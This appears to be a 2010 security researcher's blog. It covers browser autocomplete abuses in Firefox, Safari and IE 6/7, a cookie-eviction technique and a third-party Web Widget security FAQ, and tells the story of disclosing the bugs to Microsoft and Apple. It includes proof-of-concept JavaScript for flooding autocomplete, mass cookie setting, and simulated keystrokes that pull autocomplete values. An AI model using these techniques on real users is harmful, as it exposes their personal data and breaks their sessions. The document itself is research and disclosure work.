Thursday, July 29, 2010

In Firefox we can’t read auto-complete, but we can write to it (a lot)!

This is not exactly security related, just a really really annoying abuse case that takes advantage of auto-complete functionality. During my research I tried dozens of different methods attempting to get Firefox to allow an arbitrary website to read the data, but to no avail. Clearly the Mozilla development team was on top of their game. However, just because we can’t read auto-complete data, doesn’t mean we can’t write to it... and en masse!

All you need is an iframe, a text field with arbitrary data, a form that posts to that iframe, and some javascript magic to automatically submit the form. Like so...

<* script>
function fillAutoComp() {


// random data, nothing important

var num = Math.floor(Math.random()*1000000);


// set some arbitrary data to the text field
document.getElementById('data').value = “Spoof-” + num;

// submit the form, over and over and over again

setTimeout("document.getElementById('me').submit(); fillAutoComp();",2);

}

<* /script>


<* form id=”me” method="post" action="/" target="my_iframe">

<* input type="text" name="data" id="data" value="" size=140>

<* input type="button" onclick="fillAutoComp()" value="Start">

<* /form>


<* iframe name="my_iframe"><* /iframe>



Here’s where it gets a little bit more interesting. Firefox saves 200 characters of auto-complete data per entry and allows 100 text fields per form. While this might add up, th amount of data is no where near enough to fill up a hard drive before a user leaves the page. However, Mozilla is working on a fix just the same. What you can do though is annoy a users by littering well-known auto-complete entries, like "email," with loads of surrounding crap data. If one were so inclined, you could also make it look like someone searched for something, or has an alias, that they didn’t type by spoofing auto-complete data. You get the idea.

I attempted the same technique on Safari and Chrome. While it technically works, success was mitigated. In Safari, auto-complete data is site specific. Chrome restricts the number of auto-complete entries. Internet Explorer, no success.

Patching auto-complete vulnerabilities not enough, Cookie Eviction to the rescue

Let’s say a bad guy was aware of the Safari v4/5 and Internet Explorer v6/7 auto-complete vulnerabilities before public disclosure occurred or patches were made available (such as it is right now). They might want to maintain the ability to identify Web visitors even if they disabled form auto-complete or fixed the bug. All the bad guy would have to do is mass distribute their auto-complete code, like on an advertising network or a series of malware infected pages, obtain their victims personal information (name, email, address, etc.) and cookie them with a ID (i.e. domain = http://whoisthisperson/). When the person returns, even in a patched or feature disabled state, their browser (or the cookies within) would silently give up their identity.

Taken one step further, this identification system could be setup as a Web Service for other websites to take advantage of. Theoretically, if a website owner wanted to know precisely who their visitor is they would include a third-party javascript WebWidget similar to the following.

DOMAIN: http://website/
<* script>

function identify (person) {

// do something with the persons data

}

<* /script>

<* script src=”http://whoisthisperson/?callback=identify”><* /script>


When the cross-domain request is made to http://whoisthisperson/ the persons cookie ID that identifies them automatically goes with it. Standard Web tacking/bug behavior. If the data is available, the persons information returns within a JSON object and loaded into the previously defined callback function.

DOMAIN: http://whoisthisperson/

var person = {

name: ‘name’,

email: ‘name’,

}

identify(person);


The result is a long-term auto-complete problem. Unless exposed users go out of their way to delete their cookies voluntarily, flash cookies and off-domain storage included, they can’t be certain their identity isn’t being shared with every site they visit. To be fair, there is no evidence that form auto-complete vulnerabilities have been actively exploited in the wild or that any such system has been established. Still for those of us who take a paranoid interest in Web security, we can keep an eye out since we know what to look for. The thought crossed my mind that maybe there is a way for a “benevolent” website to forcibly remove all of a visiting browser’s cookies across all domains. It turns out, there is.

Everything has a limit. That includes the total number of cookies a Web browser will store. For Firefox that number is 3,000. Chrome and Safari 3,500. Also take note that each hostname can set 50 cookies. The interesting part is once the browser’s global cookie cap has been reached, older cookies get evicted -- that is they are deleted to make room for new ones. An issue known by Mozilla and discussed periodically by others. Using just a single domain name (i.e. foo.com), 70 unique hostnames on that domain(i.e. 1.foo.com, 2.foo.com, etc.), each hostname setting 50 cookies, the global cookie limit can be reach in just a few seconds. Visiting Web browsers will essentially have all their cookies from all the other domains evicted. That includes session cookies, tracking cookies, and even auto-complete identification cookies should they exist. One can think of this like a generic global logout of sorts.

The following code is the most performance enhanced way I’ve found to perform cookie eviction.

Landing Page on http://www.foo.com/
Setup wildcard DNS to make things easy.

<* script>

for (var i = 1; i <= 70; i++) {

img = new Image();

img.src = “http://” + i + ".foo.com/addcookie?";

}

<* /script>


Each image object will execute this perl script to load-up 50 cookies

#!/usr/local/bin/perl -w
use strict;


print "P3P: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\";\n";

print "Set-Cookie: cname_1=_cvalue1;\n";

print "Set-Cookie: cname_2=_cvalue2;\n";

print "Set-Cookie: cname_3=_cvalue3;\n";


... to 50

It is really just that simple. Check out the video.

Stealing AutoComplete form data in Internet Explorer 6 & 7

At the time of this writing Internet Explorer 6 & 7 collectively command 29% market share (~500M users), making them STILL the world’s most widely used Web browser when combined together. Similar to the recent Safari AutoFill vulnerability, a malicious website may surreptitiously obtain an IE 6 & 7 users private information including their name (aliases), addresses, telephone numbers, credit card numbers, place of work, job title, search terms, secret questions & answers, etc. by simply abusing HTML form AutoComplete functionality. Furthermore, the attack may succeed even if the user has never been to the malicious website or provided any personal information.

IE 6 & 7 have a feature (Tools > Internet Options > Content > AutoComplete Settings > Forms) that remembers user-submitted values entered into HTML form text field across disparate websites. When AutoComplete form is enabled, users submitting their email address to website A (input tag with a name attribute of “email”) have their data saved in the browser so that when any other website asks for an email address using a text field of the same name (i.e. “email”), the remembered values will appear in a convenient down-down menu. When a user selects one of these previously submitted values, by either mouse-click or the enter button, it is AutoComplete’ed into the text field. Put simply, the names, addresses, credit card numbers, and so on provided to website A are made available by the browser in the AutoComplete menus of website B, C, D, etc. One key exception is if website A has marked their forms or input tags with autocomplete=“off”, but users cannot rely upon this measure.

<* form>
<* input type="text" name="name">
<* input type="text" name="company">

<* input type="text" name="city">

<* input type="text" name="state">

<* input type="text" name="country">

<* input type="text" name="email">
<* /form>


Activating the UI AutoComplete functionality (drop-down) requires a user to type the first character of a remembered value (behavior is search-like), double-click into the field, or by pressing the down arrow while focus is within the field. It is the down arrow functionality that can be taken advantage of to perform an AutoComplete data theft.

Down-Down-Enter
All a malicious website must do is create a text field with a commonly used attribute name, again such as “email,” then dispatch a series of down arrow and enter keystroke events with javascript. By initiating Down-Down-Enter, the first AutoComplete value of that field becomes accessible to javascript where it can sent to a remote location. As shown in the live demo proof-of-concept code & video below, this process can be scaled out to steal the data from dozens of text field names in seconds, obviously representing a major breach in online privacy and security.

This issue could be further leveraged in multistage attacks including email spam, (spear) phishing, stalking, mass data collection, and even blackmail if a user is de-anonymized while visiting objectionable online material. Such attacks could also be easily and cheaply distributed on a mass scale using an advertising network where likely no one would ever notice because it’s not exploit code designed to deliver rootkit payload. This no guarantee or effective way to determine if this has not already taken place.

At this point it is very important to emphasize two key facts. 1) This issue affects only IE 6 & 7. While IE 8 & 9 also possess the AutoComplete forms feature, they are immune. This makes the number of Internet Explorer users that are safe from this vulnerability about the same as those exposed. 2) The AutoComplete form feature is NOT enabled by default in IE 6 & 7, bringing the affected rate under 100%. To be affected, users would have had to manually turn on the feature in the preferences or by clicking “Yes” when the browsers asks if they’d like to do so after filling out a non-password form. When considering the second method of activation it should be reasonable to assume that a nontrivial number of people are affected. User are often inclined to click “Yes” to a browser recommendation, especially ones providing such convenience. Also, nothing suggests to the user that they should turn off AutoComplete at any point or that it is even on, so presumably they’d forget about it.

File this hack under yet ANOTHER reason for people to abandon IE 6 & 7, which have been very hazardous to user security for quite some time. So while the obvious answer is to simply “upgrade” to IE8, Chrome, FF, etc. for a variety of reasons nearly 1/3rd of the Web hasn’t or can’t yet do so. Fortunately in this case all a user must do to protect themselves is disable AutoComplete in forms.

Proof-of-Concept Video & Live Demo:



// hit down arrow an incrementing number of times.
// separate with time to allow the GUI to keep pace
for (var i = 1; i <= downs; i++) { time += 30; // time padding keyStroke(this, 40, time); // down button } time += 15; // time padding keyStroke(this, 13, time); // enter button // initiate keystroke on a given object function keyStroke(obj, code, t) { //create new event and fire var e = document.createEventObject(); e.keyCode = code; setTimeout(function() {obj.fireEvent("onkeydown", e); }, t); } // end keyStroke


Interesting Disclosure Process

I had been researching browser auto-complete security and discovered the issue during the summer of 2009. After searching around and conferring with a couple of trusted colleagues, nothing suggested this particular issue had be previously disclosed. Feeling confident in my work, I disclosed the findings to the Microsoft Security Response Center (MSRC) on December 14, 2009. A human, imagine that eh Apple, responded the same day to say thanks and report they were actively investigating.

Over the next few days and weeks Nate and Jack from the MSRF were able to confirm the bug, verified the exposure, and kept me nicely appraised of the expected patch dates. The patches were delayed once or twice, but they kept an active dialog open. They politely asked if I could refrain from publicly publishing the materials until a patch was made available. Sure no problem, this vulnerability had been out there for about decade anyway, a couple months was no big deal. Plus, it was scheduled to be fixed long before BlackHat USA 2010 so it could safely include it my presentation.

This is when something really interesting happened.

Remember when I said nothing turned up in search engines results and no one else seemed to have recalled a similar discovery? Well in April, three or so months into the disclosure process, the MSRC shared a link privately discussing something very similar. If fact, it was damn identical! Andrea Giammarchi, member of the Ajaxian Staff, actually had found and published this issue on their blog back in September of 2008! That’s roughly 9 months before I found it independently and about nearly 1.5 years before disclosure to the MSRC. Completely unbelievable. Yet another example how often discoveries relating to security are made, missed, and rediscovered by others. Great find Andrea! Wish we all saw it sooner.

Wednesday, July 21, 2010

I know who your name, where you work, and live (Safari v4 & v5)

Update 07.30.2010: Apple patched Safari (CVE-ID: CVE-2010-1796)

Right at the moment a Safari user visits a website, even if they’ve never been there before or entered any personal information, a malicious website can uncover their first name, last name, work place, city, state, and email address. Safari v4 & v5, with a combined market browser share of 4% (~83 million users), has a feature (Preferences > AutoFill > AutoFill web forms) enabled by default. Essentially we are hacking auto-complete functionality.


This feature AutoFill’s HTML form text fields that have specific attribute names such as name, company, city, state, country, email, etc.

<* form>
<* input type="text" name="name">
<* input type="text" name="company">

<* input type="text" name="city">

<* input type="text" name="state">

<* input type="text" name="country">

<* input type="text" name="email">
<* /form>

These fields are AutoFill’ed using data from the users personal record in the local operating system address book. Again it is important to emphasize this feature works even though a user never entered this data on any website. Also this behavior should not be confused with normal auto-complete data a Web browser may remember after its typed into a form.



All a malicious website would have to do to surreptitiously extract Address Book card data from Safari is dynamically create form text fields with the aforementioned names, probably invisibly, and then simulate A-Z keystroke events using JavaScript. When data is populated, that is AutoFill’ed, it can be accessed and sent to the attacker.

As shown in the proof-of-concept code (graciously hosted by Robert "RSnake" Hansen), the entire process takes mere seconds and represents a major breach in online privacy. This attack could be further leveraged in multistage attacks including email spam, (spear) phishing, stalking, and even blackmail if a user is de-anonymized while visiting objectionable online material.

Fortunately any AutoFill data starting with a number, such as phone numbers or street addresses, could not be obtained because for some reason the data would not populate in the text field. Still, such attacks could be easily and cheaply distributed on a mass scale using an advertising network where likely no one would ever notice because it’s not exploit code designed to deliver rootkit payload. In fact, there is no guarantee this has not already taken place. What is safe to say is that this vulnerability is so brain dead simple that I assumed someone else must have publicly reported it already, but exhaustive searches and asking several colleagues turned up nothing.

I figured Apple might appreciate a vulnerability disclosure prior to public discussion, which I did on June 17, 2010 complete with technical detail. A gleeful auto-response came shortly after, to which I replied asking if Apple was already aware of the issue. I received no response after that, human or robot. I have no idea when or if Apple plans to fix the issue, or even if they are aware, but thankfully Safari users only need to disable AutoFill web forms to protect themselves.


Video Demo



Thursday, July 01, 2010

Third-Party Web Widget Security FAQ

Millions of websites such as online news, blogs, e-commerce, banks, webmail, social networking and more utilize third-party hosted content on their webpages in the form of JavaScript, Adobe Flash, Microsoft Silverlight, HTML IFrames, and images. Often referred to as Web Widgets, common examples are banners (Google AdSense), search boxes (Yahoo), traffic counters (StatCounter), games (Pogo), videos (YouTube), Twitter / RSS feeds, user polls, security badges (VeriSign Secured Seal), social buttons (Facebook Like), etc. Tens of thousands currently exist for Web developers to choose from. While not widely understood or recognized, Web Widgets represent a serious and wide reaching security risk to websites, and their users, who use them.

Websites that utilize arbitrary JavaScript-style Web Widgets supplied by a third-party (i.e. ) are granting that third-party complete DOM access equal to that of their local code. As such, the Web Widgets entire underlying hardware/software infrastructure must be included as part of the website owners implicit or explicit trust model. When websiteA includes a JavaScript Web Widget from websiteB, websiteB receives essentially total access over a websiteA. As Doug Crockford (Sr. JavaScript Architect, Yahoo) said, "A mashup is a self inflicted cross-site scripting attack," because just like a persistent XSS vulnerability third-party JavaScript WebWidgets may:
  1. Directly access and potentially hijack user accounts by ripping off session cookies
  2. Open up DOM-Based XSS vulnerabilities
  3. Modify the destination of links and form submissions to log the data.
  4. Steal passwords by altering what is viewed on the screen
  5. Deface a webpage with false or objectionable content
  6. Redirect visitors to malware laden websites with zero warning
  7. Force visitors Web browsers to attack other computers on the Internet
etc.

Risks are exacerbated when or if a third-party is compromised by a malicious outsider. Consider for a moment what third-party Web Widgets are currently located on your webpages and if you believe those providers treat their security equal to or greater than your own -- because they should be. Most of the time the answer is “no” or “I don’t know.”

Either way there have been numerous occasions where millions of pieces of malware were distributed through advertising Web Widgets, in so called malvertising attacks, on networks including those belonging to Google, Microsoft, and Facebook. As a sign of the pervasiveness of Web Widgets, Google Analytics found its way onto the administrative interface of two websites belonging to the then U.S. presidential candidate Barack Obama. Simply put, Google had complete DOM access to Change.gov and BarackObama.com.

Websites that include arbitrary Flash, Silverlight, IFrames, and images supplied by a third-party face similar risks to that of JavaScript WebWidgets, but to a slightly lesser degree. With Flash, Silverlight, and IFrames remote code is executed in a different domain, the domain of the third-party, rather than the calling website. When websiteA includes a Flash, Silverlight, IFrames, or image Web Widget from websiteB, websiteB’s executed code receives no DOM read access (including session cookies) on websiteA.

There are exceptions in some cases where cross-domain communication is specifically allowed. Flash supports a allowscriptaccess=always attribute. Flash and Silverlight support a crossdomain.xml policy file where the calling website specifies what third-party hosts are trusted. Similarly Silverlight also supports a clientaccesspolicy.xml policy file and some Web Browsers / Servers support Cross-Origin Resource Sharing (CORS) that all achieve the same result.

Exceptions aside, all the aforementioned risks of JavaScript Web Widgets #1 - #3 are not present in this context, but #4 - #6 remain with Flash, Silverlight, IFrame and image Web Widgets. Case in point, the developer of John McCain's MySpace template asked to be given credit for his work and for the included images to be hosted by the campaign, rather than on his servers. Neither was done, so the developer in a display of retribution swapped one of the images giving MySpace visitors the impression that Mr. McCain reversed his official position on same sex marriages.


Enterprise Questions & Answers:

Should we be using Web Widgets?
Whenever possible, no website should include third-party Widgets from locations that they do not trust or are not trustworthy. Furthermore, website that require a high-level of security assurance should not be using Web Widgets at all unless they are prepared to treat the third-party as a trusted entity with at least the same level of due care.

How do we discover the type of Web Widgets a website(s) is currently using?
Crawl the website paying close attention to any content that is SRC’ed in from an off-domain or untrusted location, particularly using SCRIPT, IFRAME, OBJECT, EMBED, and IMAGE HTML tags.

Will anything “bad” happen by simply removing a Web Widget from a website?
Some Web Widgets contain various JavaScript libraries (i.e. Image Rollovers, object prototypes, Ajax calls, drag-drop, etc) that Web developers utilize for extended functionality. If a Web Widgets is arbitrarily removed for “security reasons” without proper testing, doing so may “break” the website. It is strongly encouraged that QA testing be performed prior to the removal of Web Widgets.

How do you check if a Web Widget is making a website(s) vulnerable to a DOM-based XSS vulnerability?
Web application vulnerability scanner has some, but very limited capability of identifying DOM-based XSS. The more comprehensive and accepted approach is by having an expert perform a manual vulnerability assessment who may use tools such as Firebug.

How do you detect if a Web Widget is distributing malware to visitors?
There are free and paid-for monitoring services, such as Armorize’s HackAlert and Dasient’s Web Anti-Malware, which periodically check if a website is either hosting or redirecting vistors to malware.

Beyond malware, how do you detect if a Web Widget is “hacking” visitors?
Currently there is no reliable method to detect (or prevent) a Web Widget from carrying out malicious activity beyond malware monitoring. Unfortunately the primary way malicious activity, including Phishing Scams and DOM-based XSS attacks, are detected is when users or websites are noticeably adversely affected.

How can unexpected Web Widget code change be detected?
At the time of this writing, there are no widely known tools capable of detecting unexpected changes to Web Widget code without a substantive departure from how they are typically deployed. Depending on the Web Widget, code changes may occur with each visitor request. Some websites have opted to locally proxy / host Web Widget traffic to obtain some visibility and control, but this approach may break some Web Widget functionality.

Is it possible to limit the permissions granted to a Web Widget?
For Internet Explorer 6 users and above, IFrames support a security=restricted attribute designating that the Web Widgets must run in the browsers Restricted Sites Security Zone. Restricted Sites Security Zone prevents running of JavaScript / VBScript, invoking ActiveX controls, sending cookies, redirecting to other sites, and so on. If a Web Widget provider is not considered trusted, trustworthy, or doesn’t need this functionality, then using this feature is highly recommended whenever possible.

What business process controls are recommended for using Web Widgets?
Organizations should have a well-defined and enforced process for the vetting the security and trustworthiness of third-party Web Widgets before they are deployed. This will require the third-party Web Widget provider to legally consent to a security assessment. Secondly, while not always possible for business reasons, WebWidgets should not be used on website that require a high level of security assurance.

What are the security risk for third-party Web Widget providers?
If the website calling in the third-party Web Widget has malicious intent they could perform a clickjacking attack. In a clickjacking attack the malicious website transparently superimposes the Web Widget over something a visitor click on (link, image, button etc). When a visitor attempts to click the link for example, they are really clicking on something invisible in Web Widget. Facebook "Like" buttons have been abused in this way. Secondly, through various DOM manipulation techniques, anything a visitor physically types could be either stolen from or redirected to a Web widget in an attack know as strokejacking. This would include comments, log-in credentials, search strings, etc.